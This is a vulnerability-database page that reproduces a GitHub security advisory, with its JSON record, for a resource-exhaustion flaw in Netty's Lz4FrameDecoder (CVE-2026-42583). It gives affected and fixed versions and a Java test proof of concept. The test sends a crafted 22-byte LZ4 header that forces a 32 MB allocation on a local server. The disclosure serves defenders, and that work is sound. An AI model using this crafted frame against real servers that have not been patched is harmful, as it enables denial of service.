GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-MJ4R-2HFC-F8P6

Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Details

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.